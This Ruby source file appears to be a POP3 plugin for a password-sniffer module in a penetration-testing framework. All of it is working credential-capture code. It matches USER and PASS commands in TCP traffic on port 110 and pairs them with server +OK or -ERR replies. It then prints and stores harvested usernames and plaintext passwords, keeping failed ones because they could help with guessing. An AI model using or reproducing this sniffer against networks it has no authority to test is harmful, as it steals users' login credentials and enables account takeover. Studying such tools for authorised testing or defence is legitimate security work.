# Psnuffle password sniffer add-on class for pop3
# part of psnuffle sniffer auxiliary module
#
# When db is available reports go into db
# Also incorrect credentials are sniffed but marked
# as unsuccessful logins... (Typos are common :-) )
#
class SnifferPOP3 < BaseProtocolParser
	def register_sigs
		self.sigs = {
			:ok				=> /^(\+OK[^\n]*)\n/i,
			:err			=> /^(\-ERR[^\n]*)\n/i,
			:user			=> /^USER\s+([^\n]+)\n/i,
			:pass			=> /^PASS\s+([^\n]+)\n/i,
			:quit			=> /^(QUIT\s*[^\n]*)\n/i
		}
	end

	def parse(pkt)
		# We want to return immediatly if we do not have a packet which is handled by us
		return if not pkt[:tcp]
		return if (pkt[:tcp].src_port != 110 and pkt[:tcp].dst_port != 110)
		s = find_session((pkt[:tcp].dst_port == 110) ? get_session_src(pkt) : get_session_dst(pkt))

		self.sigs.each_key do |k|
			# There is only one pattern per run to test
			matched = nil
			matches = nil

			if(pkt[:tcp].payload_data =~ self.sigs[k])
				matched = k
				matches = $1
			end

			case matched
				when :ok
					# Last command was successful, in addition most servers transmit a banner with the first +OK
					case s[:last]
						when nil
							# Its the first +OK must include the banner, worst case its just +OK
							s[:banner] = matches
							s[:name]   = "POP3 Server Welcome Banner: \"#{s[:banner]}\""
							report_service(s)

						when :user
							# When the last command was a username login
							# We might keep track on this one in future
						when :pass
							# Perfect we get an +OK after a PASS command this means right password given :-)

							s[:proto]="pop3"
							s[:extra]="Successful Login. Banner: #{s[:banner]}"
							report_auth_info(s)
							print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")

							# Remove it form the session objects so freeup
							sessions.delete(s[:session])

						when :quit
							# The session is terminated by the user just delete is as well
							sessions.delete(s[:session])
					end
					s[:last]=:ok

				when :err
					case s[:last]
						when :pass
							# Oops got a -ERR after a pass so its crap ignore the pass
							# But report it, might be helpfull for guessing :-)

							s[:proto]="pop3"
							s[:extra]="Failed Login. Banner: #{s[:banner]}"
							report_auth_info(s)
							print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
							s[:pass]=""
					end
				when nil
					# No matches, no saved state
				else
					s[:last]=matched
					sessions[s[:session]].merge!({k => matches})
			end # end case matched
		end # end of each_key
	end # end of parse
end

